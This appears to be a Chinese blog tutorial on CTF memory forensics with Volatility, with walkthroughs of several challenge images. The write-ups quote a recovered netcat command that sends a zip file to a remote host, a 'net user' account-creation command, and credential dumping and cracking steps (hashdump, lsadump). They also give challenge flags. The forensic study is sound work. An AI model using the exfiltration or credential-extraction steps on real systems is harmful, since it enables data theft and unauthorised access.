2.2 数字取证

2.2 数字取证

volatility基本语法

volatility -f memory.raw imageinfo 读取内存的基本信息,可以得到profile信息

volatility -f memory.raw --profile=Win7SP1x64 [命令]

如:volatility -f memory.raw --profile=Win7SP1x64 hashdump 查看当前电脑用户名和密码

以上为语句的基本格式,下面会列举出一些常用命令,拼接在语句末尾即可


常用命令

pslistpsscan 查看进程

filescan 查看文件

filescan | grep flag 筛选

svcscan 查看服务

cmdscan 查看cmd历史

hivelist 查看注册表 sam类文件属于用户管理文件

iehistory 查看浏览器记录

netscan 查看网络记录

例题

文件链接:https://pan.baidu.com/s/1whj9cAeoTr6dPzOu0-8r5g?pwd=44nt

flag提交:https://labs.huayunsys.com/challenges

Suspicion (进程取证)

题目: 在进程中获取目标信息,并且拿到进程中文件内容

volatility -f mem.vmem imageinfo

volatility -f mem.vmem --profile=WinXPSP2x86 pslist 查看进程

发现TrueCrypt.exe,估计为加密工具pid为2012

volatility -f mem.vmem --profile=WinXPSP2x86 memdump -p 2012 -D ./

在本地安装efdd

进入efdd,decrypt or mount disk

true crypt(container)

open file选择加密过的内容,memory dump选择2012.dmp

mount disk

mount,发现电脑挂在了新的硬盘,打开硬盘,看到flag为

PCTF{T2reCrypt_15_N07_S3cu2e}

unmount 卸载硬盘

WIN-xxx.raw (操作系统取证)

题目: 获取目标操作系统中的用户密码信息

本题要求获取操作系统用户名和密码,直接执行:

volatility -f WIN-BU6IJ7FI9RU-20190927-152050.raw --profile Win7SP1x86_23418 hashdump

成功拿到cmd5加密后的用户名密码:

1
CTF:1000:aad3b435b51404eeaad3b435b51404ee:0a640404b5c386ab12092587fe19cd02:::

放到cmd5上解密即可

mem.raw (用户行为取证)

题目: 分析黑客在操作系统的行为

volatility -f mem.raw imageinfo

扫一下cmd:

volatility -f mem.raw --profile=Win7SP1x64 cmdscan

发现一条可疑的创建用户命令net user mumuzi (ljmmz)ovo

扫一下文件:

volatility -f mem.raw --profile=Win7SP1x64 filescan | grep flag

发现flag.zip

volatility -f mem.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000003e4b2070 -D ./

导出文件到本地,修改为flag.zip,输入上面黑客提示的密码即可

拿到flag:flag{ez_di_imp_1t_y0u_like?}

zy.raw (浏览器历史记录取证)

题目: 获取用户浏览器历史记录

volatility -f zy.raw imageinfo

volatility -f zy.raw --profile=WinXPSP2x86 iehistory

获取历史记录可以发现flag.jpg hint.txt(虽然不知道为什么我扫不出来)

filescan | grep hint.txt

dumpfiles -Q 0x0000000002456028 -D ./ 导出文件,改名,获取提示

filescan | grep fl4g 发现它桌面有个fl4g.zip

dumpfiles -Q 0x0000000002052028 -D ./ 改名之后下载

发现2张图,jpg,png

stegsolve先加载png,image combier再加载jpg,合成之后调整通道,发现二维码

扫描二维码发现谐音提示(看半天看懂,气笑了):氟徕格乃錵扩号欸必西弟亿艾虎锯錵扩号,即flag{abcdefg}

memory.img (内存密文取证)

题目: 找到可疑内存进行取证+解密数据

volatility -f memory.img imageinfo

volatility -f memory.img --profile=Win2003SP1x86 pslist 查看进程 发现 DumpIt.exe pid 3660 1992

filescan | grep flag 发现桌面有flag.png

dumpfiles -Q 0x000000000484f900 -D ./ 下载图片

扫码得到 jfXvUoypb8p3zvmPks8kJ5Kt0vmEw0xUZyRGOicraY4= 但是发现被加密了

memdump -p 1992 -D ./ 进程下载下来

foremost 1992.dmp 对进程文件进行分解

发现:

1
2
key:Th1s_1s_K3y00000
iv:1234567890123456 (这个用不到欸~)

判断为aes加密 使用工具:https://www.toolhelper.cn/SymmetricEncryption/AES

运算模式ecb

OtterCTF.vmem(大型综合深入取证)

题目:

  1. 你获取了瑞克电脑的内存样本。你能得到他的用户密码吗?
  2. 先来点简单的——这台电脑的名称和IP地址是什么?
  3. 瑞克特别喜欢玩一些经典的老游戏。你能看出他在玩什么游戏吗?游戏服务器的IP地址是多少?
  4. 我们得知账户登录到了一个名为“Lunar-3”的频道。请问账户名是什么?
  5. 根据初步调查,我们发现登录角色的用户名总是出现在以下签名之后: 0x64 0x??{6-8} 0x40 0x06 0x??{18} 0x5a 0x0c 0x00{2} 瑞克在游戏中的角色名字是什么?
  6. 瑞克总是忘记邮箱密码,因此他使用在线密码存储服务来保存密码。他总是通过复制粘贴来输入密码,以免输错。瑞克的邮箱密码是什么?
  7. 我们之所以获取瑞克电脑的内存转储,是因为它感染了恶意软件。请找出恶意软件的进程名(包含扩展名)。
  8. 恶意软件是如何进入瑞克电脑的?这很可能与瑞克过去的某个非法习惯有关……(可以结合《瑞克和莫蒂》的剧情来推测)
  9. 继续追踪恶意软件的入侵途径。
  10. 我们确认这个恶意软件是勒索软件。请找到攻击者的比特币地址。
  11. 恶意软件的图形界面有些可疑之处。
  12. 瑞克必须恢复他的文件!请问用于加密文件的随机密码是什么?
  13. 既然你已经从内存中提取出了密码,现在能解密瑞克的文件了吗?

解析:

  1. 执行volatility -f OtterCTF.vmem --profile=Win7SP1x64 hashdumps得到:
1
Rick:1000:aad3b435b51404eeaad3b435b51404ee:518172d012f97d3a8fcc089615283940:::
  1. netscan

    发现192.168.202.131为电脑ip地址

    hivelist 查看注册表

    发现0xfffff8a000024010 0x000000002d50c010 \REGISTRY\MACHINE\SYSTEM 0xfffff8a000024010是这个注册表的虚拟地址

    -o 0xfffff8a000024010 printkey 查看注册表中的key

    -o 0xfffff8a000024010 -K "ControlSet001" printkey 查看subkey中的值

    最终经过层层查看,执行:

    1
    
    volatility -f OtterCTF.vmem --profile=Win7SP1x64 -o 0xfffff8a000024010 -K "ControlSet001\Control\ComputerName\ComputerName" printkey
    

    后终于拿到计算机名:WIN-LO6FAF3DTFE

  2. netscan

    发现LunarMS.exe,连接到的服务器IP为77.102.199.102

  3. 导出LunarMS.exe的内存信息:

    1
    
    volatility -f OtterCTF.vmem --profile=Win7SP1x64 memdump -p 708 -D .\
    

    使用010 Editer等十六进制查看工具打开,搜索"Lunar-3"附近的内容

因此账户名就是0tt3r8r33z3(没有理由,问就是玄学)

  1. 同样是分析刚才的708.dmp,根据题目所给线索,我们拼出一个搜索内容:

    1
    
    4006????????????????????????????????????5A0C0000 
    

    在010 Editer中搜索(记得在选项中打开“使用通配符搜索”)可得唯一结果:

    2.2-2.png

    即游戏角色名为“M0rtyL0L”

  2. 根据提示,我们使用命令查看剪贴板:

    1
    
    volatility -f OtterCTF.vmem --profile=Win7SP1x64 clipboard
    

    得到邮箱密码:M@il_Pr0vid0rs

  3. 执行命令pstree 查看进程树:

    可疑,因为vmwware是虚拟机的进程,不应该出现在其他人的子进程中

    执行命令:cmdline -p 3720,3820判断两个进程的出生位置

    1
    2
    3
    4
    5
    6
    7
    
    Volatility Foundation Volatility Framework 2.6
    ************************************************************************
    Rick And Morty pid:   3820
    Command line : "C:\Torrents\Rick And Morty season 1 download.exe" 
    ************************************************************************
    vmware-tray.ex pid:   3720
    Command line : "C:\Users\Rick\AppData\Local\Temp\RarSFX0\vmware-tray.exe" 
    

​ 看到vmware-tray.exe存在于临时目录中,确定确实是恶意软件。

  1. filescan | grep -i "Rick and Morty" 发现在下载文件。:

    1
    
    0x000000007d8813c0      2      0 RW-rwd \Device\HarddiskVolume1\Users\Rick\Downloads\Rick And Morty season 1 download.exe.torrent
    

    dumpfiles -Q 0000007dae9350 -D ./ 下载这个进程

    strings file.None.0xfffffa801b42c9e0.dat 查看进程中所有的字符

    发现关键词M3an_T0rren7_4_R!cke

  2. 因为目标使用chrome浏览器 filescan | grep -i "chrome.*history*"

    搜索chrome相关历史,导出第一个: dumpfiles -Q 0x000000007d45dcc0 -D ./

    发现下载了2个文件

    chrome浏览器使用sqlite数据库存储的

    使用sqlitestudio查看chrome数据(打开.dat文件),发现曾经访问@mail.com邮箱

    开始寻找邮箱账号

    strings OtterCTF.vmem > outterctf.strings 内存转化为字符串

    grep "@mail.com" outterctf.strings 在字符串中寻找关键词,找到邮箱[email protected]

    grep -A 20 "<[email protected]>" outterctf.strings 搜索邮箱对应的邮件

    发现关键词Hum@n_I5_Th3_Weak3s7_Link_In_Th3_Ch@inYear

  3. 发现目标btc地址

    filescan | grep "Desktop" 搜查电脑桌面

    1
    
    0x000000007d660500      2      0 -W-r-- \Device\HarddiskVolume1\Users\Rick\Desktop\READ_IT.txt
    

    发现黑客留下的勒索信

    dumpfiles -Q 0x000000007d660500 -D ./ 阅读没发现什么

    把目标恶意软件3720进程下下来

    memdump -p 3720 -D ./

    strings -e l 3720.dmp | grep -i -A 5 "ransom"

    注意上面这条是Linux命令,不要拼接在volatility语句后面!

    搜索勒索方面的关键词看到btc地址1MmpEmebJkqXG8nQv4cjJSmxZQFVmFo63M

  4. procdump -p 3720 -D ./ 把目标进程包装为exe格式

    binwalk executable.3720.exe 查看恶意软件本尊中包含了什么 包含了图片,png格式

    foremost -t png executable.3720.exe 专门分解里面的图片出来,结果:

  5. 继续分析刚才导出的3720.dmp

    strings -e l 3720.dmp > 3720.dmp.strings 把恶意进程转化为字符串

    grep "WIN-LO6FAF3DTFE" 3720.dmp.strings | wc -l

    grep "WIN-LO6FAF3DTFE" 3720.dmp.strings | sort | uniq

    注意上面三条命令都是Linux自带命令,不要拼接在volatility语句后面!

    发现WIN-LO6FAF3DTFE-Rick aDOBofVYUNVnmp7

  6. 恢复被加密的文件

    filescan | grep -i "flag" 发现

    1
    
    0x000000007e410890     16      0 R--r-- \Device\HarddiskVolume1\Users\Rick\Desktop\Flag.txt
    

    dumpfiles -Q 0x000000007e410890 -D ./

    改名为Flag.txt

    打开c32把下面所有00去掉,保存

    根据勒索软件的文件头搜索出来HiddenTear病毒,可以使用解密软件:https://pan.baidu.com/s/1HdaPg0w_Azr-foBGJsdNUA?pwd=x7j3

    将待解密文件放在单独文件夹,修改上面的Extension(后缀名)为.txt ,之后输入这个aDOBofVYUNVnmp7密码

    解密得CTF{Im_Th@_B3S7_RicK_0f_Th3m_4ll}

    L-xxx-xxx.raw (黑客行为取证)

    题目(迫真情景):

    一天下午小白出去吃饭,临走之前还不忘锁了电脑,这时同寝室的小黑想搞点事情,懂点黑客和社工知识的小黑经过多次尝试获得了密码成功进入电脑,于是便悄悄在电脑上动起手脚了,便在桌面上写着什么,想给小白一个惊喜,同时还传送着小白的机密文件,正巧这时小白刚好回来,两人都吓了一跳,小黑也不管自己在电脑上留下的操作急忙离开电脑,故作淡定的说:“我就是随便看看”。

    1. 小黑发送的机密文件里面到底是什么,据说是flag?

    2. 小黑写的啥 ?

    3. 那么问题来了,小白的密码是啥?


    解析:

    1. cmdscan

      发现执行过以下命令: nc 192.168.57.14 2333 < P@ssW0rd_is_y0ur_bir7hd4y.zip

      查找文件:

      filescan | grep P@ssW0rd_is_y0ur_bir7hd4y.zip

      1
      
      0x0000000002c61318      3      1 R--rw- \Device\HarddiskVolume1\Program Files\Netcat\P@ssW0rd_is_y0ur_bir7hd4y.zip
      

      导出文件:

      dumpfiles -Q 0x0000000002c61318 -D ./

      发现2个文件,哪个文件改为.zip能用就用哪个

      破解zip的密码,可使用ARCHPR软件,位置在C:\tools\alltools\密码破解\rar密码破解-ARCHPR.zip自行安装

      最终密码是19950101(爆不出来就是设置原因,例如是否勾选所有数字?密码长度是否足够?)

      发现flag

    2. notepad 看到记事本内容:

      666C61677B57336C6563306D655F376F5F466F72336E356963737D

    3. hashdump

    xp-sp3.raw (行为分析取证)

    题目: 获取记事本和图片的信息

    1
    2
    3
    4
    5
    6
    7
    8
    9
    
    volatility -f xp_sp3.raw imageinfo
    
    volatility -f xp_sp3.raw --profile=WinXPSP2x86 pslist
    
    notepad
    
    记事本里的内容为20211209(encrypt)
    
    volatility -f xp_sp3.raw --profile=WinXPSP2x86 filescan | grep flag
    

    导出文件 volatility -f xp_sp3.raw --profile=WinXPSP2x86 dumpfiles -Q 0x0000000001e65028 -D ./

    图片里有字符串提示:FDCB[8LDQ?ZLOO?FHUWDLQOB?VXFFHHG?LQ?ILJKWLQJ?WKH?HSLGHPLF]

    实际上原题的加密算法在flag.zip中,需要我们导出并用之前记事本里看到的密码解压查看,这里就直接给出解密脚本了:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    
    s = list(b'FDCB[8LDQ?ZLOO?FHUWDLQOB?VXFFHHG?LQ?ILJKWLQJ?WKH?HSLGHPLF]')
    t = ''
    
    def encrypt(x):
        if x >= ord('a') and x <= ord('w'):
            x += 3
        elif x == ord('x'):
            x = ord('a')
        elif x == ord('y'):
            x = ord('b')
        elif x == ord('z'):
            x = ord('c')
        elif x == ord('_'):
            x = ord('|')
        x -= 32
        return x
    
    for i in range(len(s)):
        for j in range(128):
            if encrypt(j) == s[i]:
                t += chr(j)
                break
        else:
            t += '?'
    print(t)
    
    # cazy{Xian?will?certainly?succeed?in?fighting?the?epidemic}
    

    把?替换成_:cazy{Xian_will_certainly_succeed_in_fighting_the_epidemic}

    西安一定会战胜疫情

    Target.vmem (pc和手机取证)

    题目: 获取密码信息和手机信息

    解析:

    volatility -f Target.vmem imageinfo

    volatility -f Target.vmem --profile=Win7SP1x64 lsadump 发现密码

    filescan | grep CTF 文件查找

    1
    
    0x000000007e164cc0     12      0 R--r-- \Device\HarddiskVolume1\Users\CTF\Desktop\HUAWEI P40_2021-aa-bb xx.yy.zz.exe
    

    filescan | grep HUAWEI 查找华为信息

    1
    
    0x000000007fe72430      2      0 -W-r-- \Device\HarddiskVolume1\Users\CTF\Desktop\HUAWEI P40_2021-aa-bb xx.yy.zz\picture\storage\MediaTar\images\images0.tar.enc
    

    导出文件dumpfiles -Q 0x000000007fe72430 -D ./

    在GitHub上寻找工具对目标型号华为进行破解

    mem.dump (磁盘加密取证)

    题目: 打开mem.dump内存,里面有使用CnCrypt加密软件加密的内容,请破解挂载后取证

    解析:

    volatility -f mem.dump imageinfo

    volatility -f mem.dump --profile=Win7SP1x64 pslist 发现 CnCrypt.exe

    volatility -f mem.dump --profile=Win7SP1x64 filescan | grep flag 搜索flag文件位置

    导出文件dumpfiles -Q 0x000000003e435890 -D ./

    volatility -f mem.dump --profile=Win7SP1x64 cmdscan 发现提示,ccx的密码和管理员密码一样

    volatility -f mem.dump --profile=Win7SP1x64 hashdump

    发现密码,使用解密平台解密:ABCabc123

    CnCrypt_v1.29挂载加密卷(C:\tools\alltools\数字取证win工具)

    打开加密卷中的文件得到flag:flag{now_you_see_my_secret}

Licensed under CC BY-NC-SA 4.0
已存在于互联网
发表了126篇文章 · 总计210.25k字
萌ICP备20267077号
Powered by ctOS